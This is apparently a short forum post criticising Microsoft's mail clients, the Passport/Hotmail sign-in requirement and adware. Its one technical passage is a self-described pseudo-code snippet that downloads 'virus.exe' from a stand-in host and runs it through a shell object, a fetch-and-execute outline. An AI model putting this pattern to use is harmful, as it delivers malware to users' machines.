   Remember, this is from the same people that brought you VBscript and
AJAX in the browser - making hacks this simple (pseudo syntax):
   XMLHTTP("GET http://mybadsite/virus.exe")
  CO=CreateObject("System.Shell")
  CO.Execute(GetTempFolder() & "virus.exe")

Then they also use this logic -

"Why do I need a Passport or Hotmail account? Well, first of all, we
need a way to identify you to help protect your e-mail account. "

   The version included in Vista is a subset called Windows Mail.  It
doesn't have adware included.

   They do have some good concepts, but the jury is currently on whether
it's any good.   Too many people see it and permanently go back to OE.
